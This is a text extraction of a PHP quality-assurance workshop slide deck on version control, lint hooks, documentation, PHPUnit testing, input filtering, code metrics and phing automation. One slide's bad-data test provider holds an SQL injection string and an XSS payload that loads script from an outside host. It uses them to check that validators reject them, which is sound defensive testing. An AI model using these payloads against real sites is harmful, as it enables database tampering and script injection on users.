SlideShare a Scribd company logo
QA for PHP projects
in it2PROFESSIONAL PHP SERVICES
Requirements
• VirtualBox http://virtualbox.com
• Vagrant https://vagrantup.com
• Copy of https://github.com/in2it/phpqa-workshop
• Copy of https://github.com/in2it/phpqa-testing
Michelangelo van Dam!
!
PHP Consultant
Community Leader
President of PHPBenelux
Contributor to PHP projects
!
T @DragonBe | F DragonBe
https://www.flickr.com/photos/akrabat/8784318813
Using Social Media?
Tag it #phpqa
http://www.flickr.com/photos/andyofne/4633356197
http://www.flickr.com/photos/andyofne/4633356197
What is QA? Testing
Measuring Automation
What is QA?
https://www.flickr.com/photos/infidelic/4306205887
Detect bugs early
https://www.flickr.com/photos/goingslo/4523034319
Observe behaviour
https://www.flickr.com/photos/yuan2003/1812881370
Prevent mistakes
https://www.flickr.com/photos/robertelyov/5159801170
Track progress
https://www.flickr.com/photos/dingatx/4115844000
Important QA tools
https://www.flickr.com/photos/florianric/7263382550
Version Control
https://www.flickr.com/photos/mrmyle/2327686010
Subversion
GIT
GitHub
Bitbucket
Mercurial
Bazaar
Perforce
Team Foundation Server
File Transfer Protocol
FTP
Advantages of SCM
• Team development
• Multi-versions management
• Keep track of history
• Tagging milestones
• Backup of source code
• Full integration
https://www.flickr.com/photos/skoop/5397232723
Exercise
• Start a new project “phpqa-intro”
• Initialise it as a GIT project
• Create a “hello world” php script
• Add it to the repository & commit
Possible answer
$ cd workspace	
$ mkdir phpqa-intro	
$ cd phpqa-intro	
$ git init	
$(master #) echo "<?php echo 'Hello World'; . PHP_EOL" > helloworld.php	
$(master #) git add helloworld.php	
$(master #) git commit -m 'Initial version of helloworld'	
[master (root-commit) 174c675] Initial commit of helloworld	
1 file changed, 1 insertion(+)	
create mode 100644 helloworld.php	
$(master)
Syntax Checking
https://www.flickr.com/photos/rooreynolds/4133549889
PHP Lint
Build-in PHP!
PHP Lint
php -l <filename>
GIT pre-commit hook
https://github.com/ReekenX/phpcheck-git
Exercise
• Download the pre-commit hook from http://in2.se/
phplintgit (or get it from the USB drive)
• Make sure you make it executable
• Create a syntax error in error.php and commit it
• See you get the error and ensure the file is not
committed.
Possible answer
$(master) git checkout -b phplint	
$(phplint) wget -O .git/hooks/pre-commit http://in2.se/phplintgit	
$(phplint) chmod ugo+x .git/hooks/pre-commit	
$(phplint) echo "<?php echo 'Hello error' . PHP_EOL" > error.php	
$(phplint) git add error.php	
$(phplint +) git commit -m 'Trying to add code with errors'	
Syntax errors found in file: error.php	
!
Found PHP parse errors:	
PHP Parse error: parse error, expecting `','' or `';'' in /Users/
dragonbe/workspace/phpqa-intro/error.php on line 2 Parse error: parse
error, expecting `','' or `';'' in /Users/dragonbe/workspace/phpqa-
intro/error.php on line 2	
!
PHP parse errors found. Fix errors and commit again.	
$(phplint +)
Documentation
https://www.flickr.com/photos/jankunst/6478327983
Why providing docblocks?
• Useful information about the
class, method or logic
• Provides hints in IDE’s
• Great reference for
• New team members
• 3rd party developers
https://www.flickr.com/photos/mundoo/2293493420
phpDocumentor
http://phpdoc.org
PHAR://
http://phpdoc.org/phpDocumentor.phar
Other installations: Composer, PEAR, Source
Exercise
• Create a class with a couple of methods (or use the
class in “exercise/MyClass.php”)
• Run phpdoc against this class
./vendor/bin/phpdoc	
  -­‐d	
  exercise/phpdoc	
  -­‐t	
  build/phpdoc	
  
• See the resulting documentation files at http://
192.168.166.166/phpdoc
Testing
https://www.flickr.com/photos/akrabat/8421560178
Most common excuses
why developers don’t test
• no time
• no budget
• deliver tests after finish project
(never)
• devs don’t know how
https://www.flickr.com/photos/dasprid/8147986307
No excuses!
https://www.flickr.com/photos/akrabat/8421560178
Let’s get started
https://www.flickr.com/photos/floridamemory/3295406193
PHPUnit & Composer
{	
  
	
  	
  "require":	
  {	
  
	
  	
  	
  	
  "php":	
  "<=5.5.0"	
  
	
  	
  },	
  
	
  	
  "require-­‐dev":	
  {	
  
	
  	
  	
  	
  "phpunit/phpunit":	
  "~4.4"	
  
	
  	
  },	
  
}
phpunit.xml
<?xml	
  version="1.0"	
  encoding="UTF-­‐8"?>	
  
!
<phpunit	
  
	
  	
  	
  	
  bootstrap="./vendor/autoload.php"	
  
	
  	
  	
  	
  colors="true"	
  
	
  	
  	
  	
  strict="true"	
  
	
  	
  	
  	
  stopOnError="true"	
  
	
  	
  	
  	
  stopOnFailure="true">	
  
!
	
  	
  	
  	
  <testsuite	
  name="PHPQA	
  Workshop	
  TestSuite">	
  
	
  	
  	
  	
  	
  	
  	
  	
  <directory>./tests</directory>	
  
	
  	
  	
  	
  </testsuite>	
  
!
</phpunit>
Testing models
https://www.flickr.com/photos/fdecomite/2710132377
Simple Comment Class
CommentTest
<?php	
  
namespace	
  PhpqaTestsModel;	
  
!
use	
  PhpqaModelComment;	
  
!
class	
  CommentTest	
  extends	
  PHPUnit_Framework_TestCase	
  
{	
  
	
  	
  	
  	
  public	
  function	
  testModelIsPopulatedAtConstruct()	
  
	
  	
  	
  	
  {	
  
	
  	
  	
  	
  	
  	
  	
  	
  $data	
  =	
  [	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'commentId'	
  	
  	
  	
  =>	
  1,	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'fullName'	
  	
  	
  	
  	
  =>	
  'Johny	
  Test',	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'emailAddress'	
  =>	
  'johny.test@example.com',	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'website'	
  	
  	
  	
  	
  	
  =>	
  'http://johnytest.com',	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'comment'	
  	
  	
  	
  	
  	
  =>	
  'This	
  is	
  a	
  comment',	
  
	
  	
  	
  	
  	
  	
  	
  	
  ];	
  
!
	
  	
  	
  	
  	
  	
  	
  	
  $comment	
  =	
  new	
  Comment($data);	
  
	
  	
  	
  	
  	
  	
  	
  	
  $this-­‐>assertSame($data['commentId'],	
  $comment-­‐>getCommentId());	
  
	
  	
  	
  	
  	
  	
  	
  	
  $this-­‐>assertSame($data['fullName'],	
  $comment-­‐>getFullName());	
  
	
  	
  	
  	
  	
  	
  	
  	
  $this-­‐>assertSame($data['emailAddress'],	
  $comment-­‐>getEmailAddress());	
  
	
  	
  	
  	
  	
  	
  	
  	
  $this-­‐>assertSame($data['website'],	
  $comment-­‐>getWebsite());	
  
	
  	
  	
  	
  	
  	
  	
  	
  $this-­‐>assertSame($data['comment'],	
  $comment-­‐>getComment());	
  
	
  	
  	
  	
  }	
  
}	
  
QA for PHP projects
QA for PHP projects
CodeCoverage
Exercise
• Test Comment class that you can convert it directly
into an array
• BONUS: Also test you can convert it into JSON
Testing Databases
https://www.flickr.com/photos/shindotv/3835365695
A few remarks
• Testing against databases is “integration testing”
• Testing against databases is slow
• Testing against databases is only useful for
• triggers & stored procedures
• correct encoding and collations
Data is just “Data”
fzaninotto / Faker
https://github.com/fzaninotto/Faker
Generated data
	
  	
  	
  	
  /**	
  
	
  	
  	
  	
  	
  *	
  Provides	
  data	
  that	
  we	
  consider	
  to	
  be	
  safe	
  and	
  of	
  quality	
  
	
  	
  	
  	
  	
  *	
  @return	
  array	
  
	
  	
  	
  	
  	
  */	
  
	
  	
  	
  	
  public	
  function	
  goodDataProvider()	
  
	
  	
  	
  	
  {	
  
	
  	
  	
  	
  	
  	
  	
  	
  $faker	
  =	
  FakerFactory::create();	
  
	
  	
  	
  	
  	
  	
  	
  	
  $data	
  =	
  [];	
  
	
  	
  	
  	
  	
  	
  	
  	
  for	
  ($iter	
  =	
  0;	
  $iter	
  <	
  500;	
  $iter++)	
  {	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  $data[]	
  =	
  [	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'commentId'	
  	
  	
  	
  =>	
  rand(1,	
  time()),	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'fullName'	
  	
  	
  	
  	
  =>	
  $faker-­‐>name,	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'emailAddress'	
  =>	
  $faker-­‐>email,	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'website'	
  	
  	
  	
  	
  	
  =>	
  $faker-­‐>url,	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'comment'	
  	
  	
  	
  	
  	
  =>	
  $faker-­‐>text(),	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  ];	
  
	
  	
  	
  	
  	
  	
  	
  	
  }	
  
	
  	
  	
  	
  	
  	
  	
  	
  return	
  $data;	
  
	
  	
  	
  	
  }
Modify our test
	
  	
  	
  	
  /**	
  
	
  	
  	
  	
  	
  *	
  @dataProvider	
  goodDataProvider	
  
	
  	
  	
  	
  	
  */	
  
	
  	
  	
  	
  public	
  function	
  testModelIsPopulatedAtConstruct($data)	
  
	
  	
  	
  	
  {	
  
	
  	
  	
  	
  	
  	
  	
  	
  $comment	
  =	
  new	
  Comment($data);	
  
	
  	
  	
  	
  	
  	
  	
  	
  $this-­‐>assertSame($data['commentId'],	
  $comment-­‐>getCommentId());	
  
	
  	
  	
  	
  	
  	
  	
  	
  $this-­‐>assertSame($data['fullName'],	
  $comment-­‐>getFullName());	
  
	
  	
  	
  	
  	
  	
  	
  	
  $this-­‐>assertSame($data['emailAddress'],	
  $comment-­‐>getEmailAddress());	
  
	
  	
  	
  	
  	
  	
  	
  	
  $this-­‐>assertSame($data['website'],	
  $comment-­‐>getWebsite());	
  
	
  	
  	
  	
  	
  	
  	
  	
  $this-­‐>assertSame($data['comment'],	
  $comment-­‐>getComment());	
  
	
  	
  	
  	
  }
QA for PHP projects
https://www.flickr.com/photos/boltofblue/5724934828
http://xkcd.com/327/
Little Bobby Tables
Is this your project?
OWASP Top 10
https://www.owasp.org/index.php/Top_10_2013-Top_10
Bad Data provider
http://en.wikipedia.org/wiki/Computer_virus
First modify our class
<?php	
  
namespace	
  PhpqaModel;	
  
!
use	
  ZendInputFilterInputFilter;	
  
use	
  ZendInputFilterInput;	
  
use	
  ZendFilter;	
  
use	
  ZendValidator;	
  
!
class	
  Comment	
  
{	
  
	
  	
  	
  	
  /**	
  
	
  	
  	
  	
  	
  *	
  @var	
  InputFilter	
  
	
  	
  	
  	
  	
  */	
  
	
  	
  	
  	
  protected	
  $inputFilter;	
  
	
  	
  	
  	
  /**	
  
	
  	
  	
  	
  	
  *	
  @return	
  InputFilter	
  
	
  	
  	
  	
  	
  */	
  
	
  	
  	
  	
  public	
  function	
  getInputFilter()	
  
	
  	
  	
  	
  {	
  
	
  	
  	
  	
  	
  	
  	
  	
  //	
  Lazy	
  loading	
  of	
  filter	
  and	
  validation	
  rules	
  
	
  	
  	
  	
  	
  	
  	
  	
  if	
  (null	
  ===	
  $this-­‐>inputFilter)	
  {	
  
	
  	
  	
  	
  	
  	
  	
  	
  }	
  
	
  	
  	
  	
  	
  	
  	
  	
  return	
  $this-­‐>inputFilter;	
  
	
  	
  	
  	
  }
Filter/Validate
	
  	
  	
  	
  $commentId	
  =	
  new	
  Input('commentId');	
  
	
  	
  	
  	
  $commentId-­‐>getFilterChain()	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>attach(new	
  FilterInt());	
  
	
  	
  	
  	
  $commentId-­‐>getValidatorChain()	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>attach(new	
  ValidatorGreaterThan(['min'	
  =>	
  0]));	
  
!
	
  	
  	
  	
  $fullName	
  =	
  new	
  Input('fullName');	
  
	
  	
  	
  	
  $fullName-­‐>getFilterChain()	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>attach(new	
  FilterStringTrim())	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>attach(new	
  FilterStripTags())	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>attach(new	
  FilterHtmlEntities());	
  
	
  	
  	
  	
  $fullName-­‐>getValidatorChain()	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>attach(new	
  ValidatorNotEmpty())	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>attach(new	
  ValidatorStringLength(['min'	
  =>	
  5,	
  'max'	
  =>	
  150]));
Filter/Validate (2)
	
  	
  	
  	
  $emailAddress	
  =	
  new	
  Input('emailAddress');	
  
	
  	
  	
  	
  $emailAddress-­‐>getFilterChain()	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>attach(new	
  FilterStringToLower());	
  
	
  	
  	
  	
  $emailAddress-­‐>getValidatorChain()	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>attach(new	
  ValidatorNotEmpty())	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>attach(new	
  ValidatorEmailAddress());	
  
!
	
  	
  	
  	
  $website	
  =	
  new	
  Input('website');	
  
	
  	
  	
  	
  $website-­‐>getFilterChain()	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>attach(new	
  FilterStringToLower());	
  
	
  	
  	
  	
  $website-­‐>getValidatorChain()	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>attach(new	
  ValidatorUri());	
  
!
	
  	
  	
  	
  $comment	
  =	
  new	
  Input('comment');	
  
	
  	
  	
  	
  $comment-­‐>getFilterChain()	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>attach(new	
  FilterStripTags())	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>attach(new	
  FilterHtmlEntities());
InputFilter
	
  	
  	
  	
  $inputFilter	
  =	
  new	
  InputFilter();	
  
	
  	
  	
  	
  $inputFilter-­‐>add($commentId)	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>add($fullName)	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>add($emailAddress)	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>add($website)	
  
	
  	
  	
  	
  	
  	
  	
  	
  -­‐>add($comment);	
  
!
	
  	
  	
  	
  $this-­‐>setInputFilter($inputFilter);
badDataProvider
	
  	
  	
  	
  /**	
  
	
  	
  	
  	
  	
  *	
  Provides	
  data	
  that	
  we	
  consider	
  to	
  be	
  unsafe	
  
	
  	
  	
  	
  	
  *	
  @return	
  array	
  
	
  	
  	
  	
  	
  */	
  
	
  	
  	
  	
  public	
  function	
  badDataProvider()	
  
	
  	
  	
  	
  {	
  
	
  	
  	
  	
  	
  	
  	
  	
  return	
  [	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  [	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  [	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'commentId'	
  	
  	
  	
  =>	
  0,	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'fullName'	
  	
  	
  	
  	
  =>	
  '',	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'emailAddress'	
  =>	
  '',	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'website'	
  	
  	
  	
  	
  	
  =>	
  '',	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'comment'	
  	
  	
  	
  	
  	
  =>	
  '',	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  ]	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  ],[	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  [	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'commentId'	
  	
  	
  	
  =>	
  'Little	
  Bobby	
  Tables',	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'fullName'	
  	
  	
  	
  	
  =>	
  'Robert');	
  DROP	
  TABLE	
  `students`;	
  -­‐-­‐',	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'emailAddress'	
  =>	
  'clickjack@hackers',	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'website'	
  	
  	
  	
  	
  	
  =>	
  "http://t.co/@"style="font-­‐size:999999999999px;"onmouseover=
"$.getScript('http:u002fu002fis.gdu002ffl9A7')"/",	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  'comment'	
  	
  	
  	
  	
  	
  =>	
  'exploit	
  twitter	
  9/21/2010',	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  ]	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  ],	
  
	
  	
  	
  	
  	
  	
  	
  	
  ];	
  
	
  	
  	
  	
  }
our bad data test
	
  	
  	
  	
  /**	
  
	
  	
  	
  	
  	
  *	
  @dataProvider	
  badDataProvider	
  
	
  	
  	
  	
  	
  */	
  
	
  	
  	
  	
  public	
  function	
  testCommentIsProtectedAgainstHacks($data)	
  
	
  	
  	
  	
  {	
  
	
  	
  	
  	
  	
  	
  	
  	
  $comment	
  =	
  new	
  Comment();	
  
	
  	
  	
  	
  	
  	
  	
  	
  $comment-­‐>getInputFilter()-­‐>setData($data);	
  
	
  	
  	
  	
  	
  	
  	
  	
  $this-­‐>assertFalse($comment-­‐>getInputFilter()-­‐>isValid());	
  
	
  	
  	
  	
  }
QA for PHP projects
Exercise
• Add some more “badData” entries
• See if the validation rules hold
• Test one of the latest exploits
Wanna know more…
Come and see me after the workshop
Measuring
https://www.flickr.com/photos/batega/2056949264
pdepend
• CYCLO: Cyclomatic Complexity
• LOC: Lines of Code
• NOM: Number of Methods
• NOC: Number of Classes
• NOP: Number of Packages
• AHH: Average Hierarchy Height
• ANDC: Average Number of Derived Classes
• FANOUT: Number of Called Classes
• CALLS: Number of Operation Calls
pDepend info
• metric calculation
• execution paths
• independent control structures
• if, else, for, foreach, switch case, while, do, …
• within a single method or function
• more info 

http://en.wikipedia.org/wiki/Cyclomatic_complexity
Cyclomatic Complexity
• The average of the maximum length from a root
class to its deepest subclass
Average Hierarchy Height
Pyramid Inheritance
few classes derived from other classes
lots of classes inherit from other classes
Inheritance
Pyramid complexity
Size and complexity
Pyramid Coupling
Coupling
pDepend-graph
QA for PHP projects
QA for PHP projects
QA for PHP projects
PHP Mess Detection
https://www.flickr.com/photos/avlxyz/2145112149
What?
• detects code smells
• possible bugs
• sub-optimal code
• over complicated expressions
• unused parameters, methods and properties
• wrongly named parameters, methods or properties
Example output
./vendor/bin/phpmd exercise/ html
cleancode,codesize,controversial,design,naming,unusedcode --reportfile ./
build/logs/phpmd.html
Copy/Paste Detection
https://www.flickr.com/photos/kalexanderson/6113247118
What?
• detects similar code snippets
• plain copy/paste work
• similar code routines
• indicates problems
• maintenance hell
• downward spiral of disasters
• stimulates improvements
• refactoring of code
• moving similar code snippets in common routines
QA for PHP projects
PHP_CodeSniffer
https://www.flickr.com/photos/create_up/3475195695
What?
• validates coding standards
• consistency
• readability
• set as a policy for development
• reports failures to meet the standard
• sometimes good: parentheses on wrong line
• mostly bad: line exceeds 80 characters
• but needed for terminal viewing of code
• can be set as pre-commit hook
• but can cause frustration!!!
QA for PHP projects
Exercise
• Run the following commands against “MyClass”
• pdepend
• phpmd
• phpcpd
• phpcs (php_CodeSniffer)
• What is the result?
Automation
https://www.flickr.com/photos/freefoto/5982549938
Using phing
The PHP builder
http://phing.info
build.xml
<?xml	
  version="1.0"	
  encoding="UTF-­‐8"?>	
  
<project	
  name="PHPQA	
  Workshop"	
  default="build">	
  
	
  	
  	
  	
  <fileset	
  dir="${project.basedir}"	
  id="files">	
  
	
  	
  	
  	
  	
  	
  	
  	
  <include	
  name="${project.basedir}/exercise/**"/>	
  
	
  	
  	
  	
  </fileset>	
  
	
  	
  	
  	
  <target	
  name="php-­‐lint"	
  description="Run	
  syntax	
  checking	
  on	
  the	
  codebase">	
  
	
  	
  	
  	
  	
  	
  	
  	
  <phplint>	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  <fileset	
  refid="files"/>	
  
	
  	
  	
  	
  	
  	
  	
  	
  </phplint>	
  
	
  	
  	
  	
  </target>	
  
	
  	
  	
  	
  <target	
  name="php-­‐doc"	
  description="Generate	
  automated	
  documentation">	
  
	
  	
  	
  	
  	
  	
  	
  	
  <exec	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  command="./vendor/bin/phpdoc	
  run	
  -­‐d	
  exercise/	
  -­‐t	
  build/phpdoc/"	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  dir="${project.basedir}"/>	
  
	
  	
  	
  	
  </target>	
  
	
  	
  	
  	
  <!-­‐-­‐	
  ...	
  -­‐-­‐>	
  	
  
	
  	
  	
  	
  <target	
  name="build"	
  description="The	
  build	
  process">	
  
	
  	
  	
  	
  	
  	
  	
  	
  <phingcall	
  target="php-­‐lint"/>	
  
	
  	
  	
  	
  	
  	
  	
  	
  <phingcall	
  target="php-­‐doc"/>	
  
	
  	
  	
  	
  	
  	
  	
  	
  <phingcall	
  target="php-­‐depend"/>	
  
	
  	
  	
  	
  	
  	
  	
  	
  <phingcall	
  target="php-­‐md"/>	
  
	
  	
  	
  	
  	
  	
  	
  	
  <phingcall	
  target="php-­‐cpd"/>	
  
	
  	
  	
  	
  	
  	
  	
  	
  <phingcall	
  target="php-­‐cs"/>	
  
	
  	
  	
  	
  </target>	
  
</project>	
  
Benefits
• Everyone executes the processes the same
• Including automated CI tools
• Once a new “target” is defined, it’s available
There’s more with phing
• auto upgrade databases
• warming up caches
• deploy over multiple nodes
• collect statistics
• perform benchmark/performance tests
• …
Easy CI integration
• Jenkins CI
• JetBrains TeamCity
• Atlassian Bamboo
• ContinuousPHP
QA for PHP projects
QA for PHP projects
QA for PHP projects
QA for PHP projects
https://www.flickr.com/photos/lwr/13442542235
Contact us
in it2PROFESSIONAL PHP SERVICES
Michelangelo van Dam
michelangelo@in2it.be
!
www.in2it.be
PHP Consulting - Training - QA
Join the fun!
PHPBENELUX
phpbenelux.eu
Thank you
Have a great conference
http://www.flickr.com/photos/drewm/3191872515

More Related Content

What's hot

Building a Pyramid: Symfony Testing Strategies
Building a Pyramid: Symfony Testing StrategiesBuilding a Pyramid: Symfony Testing Strategies
Building a Pyramid: Symfony Testing Strategies
CiaranMcNulty
 
Frontin like-a-backer
Frontin like-a-backerFrontin like-a-backer
Frontin like-a-backer
Frank de Jonge
 
New in php 7
New in php 7New in php 7
New in php 7
Vic Metcalfe
 
Proposed PHP function: is_literal()
Proposed PHP function: is_literal()Proposed PHP function: is_literal()
Proposed PHP function: is_literal()
Craig Francis
 
Advanced Django
Advanced DjangoAdvanced Django
Advanced Django
Simon Willison
 
Unit testing zend framework apps
Unit testing zend framework appsUnit testing zend framework apps
Unit testing zend framework apps
Michelangelo van Dam
 
UA testing with Selenium and PHPUnit - PHPBenelux Summer BBQ
UA testing with Selenium and PHPUnit - PHPBenelux Summer BBQUA testing with Selenium and PHPUnit - PHPBenelux Summer BBQ
UA testing with Selenium and PHPUnit - PHPBenelux Summer BBQ
Michelangelo van Dam
 
Data Validation models
Data Validation modelsData Validation models
Data Validation models
Marcin Czarnecki
 
My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I think
Wim Godden
 
2013-06-25 - HTML5 & JavaScript Security
2013-06-25 - HTML5 & JavaScript Security2013-06-25 - HTML5 & JavaScript Security
2013-06-25 - HTML5 & JavaScript Security
Johannes Hoppe
 
Manipulating Magento - Meet Magento Netherlands 2018
Manipulating Magento - Meet Magento Netherlands 2018Manipulating Magento - Meet Magento Netherlands 2018
Manipulating Magento - Meet Magento Netherlands 2018
Joke Puts
 
Functional Structures in PHP
Functional Structures in PHPFunctional Structures in PHP
Functional Structures in PHP
Marcello Duarte
 
PHP security audits
PHP security auditsPHP security audits
PHP security audits
Damien Seguy
 
Practical JavaScript Programming - Session 1/8
Practical JavaScript Programming - Session 1/8Practical JavaScript Programming - Session 1/8
Practical JavaScript Programming - Session 1/8
Wilson Su
 
Django Heresies
Django HeresiesDjango Heresies
Django Heresies
Simon Willison
 
IPC 2015 ZF2rapid
IPC 2015 ZF2rapidIPC 2015 ZF2rapid
IPC 2015 ZF2rapid
Ralf Eggert
 
New Symfony Tips & Tricks (SymfonyCon Paris 2015)
New Symfony Tips & Tricks (SymfonyCon Paris 2015)New Symfony Tips & Tricks (SymfonyCon Paris 2015)
New Symfony Tips & Tricks (SymfonyCon Paris 2015)
Javier Eguiluz
 
Система рендеринга в Magento
Система рендеринга в MagentoСистема рендеринга в Magento
Система рендеринга в Magento
Magecom Ukraine
 
What's new with PHP7
What's new with PHP7What's new with PHP7
What's new with PHP7
SWIFTotter Solutions
 
PhpBB meets Symfony2
PhpBB meets Symfony2PhpBB meets Symfony2
PhpBB meets Symfony2
Fabien Potencier
 

What's hot (20)

Building a Pyramid: Symfony Testing Strategies
Building a Pyramid: Symfony Testing StrategiesBuilding a Pyramid: Symfony Testing Strategies
Building a Pyramid: Symfony Testing Strategies
 
Frontin like-a-backer
Frontin like-a-backerFrontin like-a-backer
Frontin like-a-backer
 
New in php 7
New in php 7New in php 7
New in php 7
 
Proposed PHP function: is_literal()
Proposed PHP function: is_literal()Proposed PHP function: is_literal()
Proposed PHP function: is_literal()
 
Advanced Django
Advanced DjangoAdvanced Django
Advanced Django
 
Unit testing zend framework apps
Unit testing zend framework appsUnit testing zend framework apps
Unit testing zend framework apps
 
UA testing with Selenium and PHPUnit - PHPBenelux Summer BBQ
UA testing with Selenium and PHPUnit - PHPBenelux Summer BBQUA testing with Selenium and PHPUnit - PHPBenelux Summer BBQ
UA testing with Selenium and PHPUnit - PHPBenelux Summer BBQ
 
Data Validation models
Data Validation modelsData Validation models
Data Validation models
 
My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I think
 
2013-06-25 - HTML5 & JavaScript Security
2013-06-25 - HTML5 & JavaScript Security2013-06-25 - HTML5 & JavaScript Security
2013-06-25 - HTML5 & JavaScript Security
 
Manipulating Magento - Meet Magento Netherlands 2018
Manipulating Magento - Meet Magento Netherlands 2018Manipulating Magento - Meet Magento Netherlands 2018
Manipulating Magento - Meet Magento Netherlands 2018
 
Functional Structures in PHP
Functional Structures in PHPFunctional Structures in PHP
Functional Structures in PHP
 
PHP security audits
PHP security auditsPHP security audits
PHP security audits
 
Practical JavaScript Programming - Session 1/8
Practical JavaScript Programming - Session 1/8Practical JavaScript Programming - Session 1/8
Practical JavaScript Programming - Session 1/8
 
Django Heresies
Django HeresiesDjango Heresies
Django Heresies
 
IPC 2015 ZF2rapid
IPC 2015 ZF2rapidIPC 2015 ZF2rapid
IPC 2015 ZF2rapid
 
New Symfony Tips & Tricks (SymfonyCon Paris 2015)
New Symfony Tips & Tricks (SymfonyCon Paris 2015)New Symfony Tips & Tricks (SymfonyCon Paris 2015)
New Symfony Tips & Tricks (SymfonyCon Paris 2015)
 
Система рендеринга в Magento
Система рендеринга в MagentoСистема рендеринга в Magento
Система рендеринга в Magento
 
What's new with PHP7
What's new with PHP7What's new with PHP7
What's new with PHP7
 
PhpBB meets Symfony2
PhpBB meets Symfony2PhpBB meets Symfony2
PhpBB meets Symfony2
 

Viewers also liked

Composer the right way - SunshinePHP
Composer the right way - SunshinePHPComposer the right way - SunshinePHP
Composer the right way - SunshinePHP
Rafael Dohms
 
Your code are my tests
Your code are my testsYour code are my tests
Your code are my tests
Michelangelo van Dam
 
Diving into HHVM Extensions (PHPNW Conference 2015)
Diving into HHVM Extensions (PHPNW Conference 2015)Diving into HHVM Extensions (PHPNW Conference 2015)
Diving into HHVM Extensions (PHPNW Conference 2015)
James Titcumb
 
TDD: Team-Driven Development
TDD: Team-Driven DevelopmentTDD: Team-Driven Development
TDD: Team-Driven Development
Samantha Quiñones
 
My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I think
Wim Godden
 
Are you a good scout? - PHPNW15 Unconf
Are you a good scout? - PHPNW15 UnconfAre you a good scout? - PHPNW15 Unconf
Are you a good scout? - PHPNW15 Unconf
phpboyscout
 
Secure Form Processing and Protection - Sunshine PHP 2015
Secure Form Processing and Protection - Sunshine PHP 2015Secure Form Processing and Protection - Sunshine PHP 2015
Secure Form Processing and Protection - Sunshine PHP 2015
Joe Ferguson
 
Your Inner Sysadmin - Tutorial (SunshinePHP 2015)
Your Inner Sysadmin - Tutorial (SunshinePHP 2015)Your Inner Sysadmin - Tutorial (SunshinePHP 2015)
Your Inner Sysadmin - Tutorial (SunshinePHP 2015)
Chris Tankersley
 
Building Your API for Longevity
Building Your API for LongevityBuilding Your API for Longevity
Building Your API for Longevity
MuleSoft
 
TDD with PhpSpec
TDD with PhpSpecTDD with PhpSpec
TDD with PhpSpec
CiaranMcNulty
 
Zephir - A Wind of Change for writing PHP extensions
Zephir - A Wind of Change for writing PHP extensionsZephir - A Wind of Change for writing PHP extensions
Zephir - A Wind of Change for writing PHP extensions
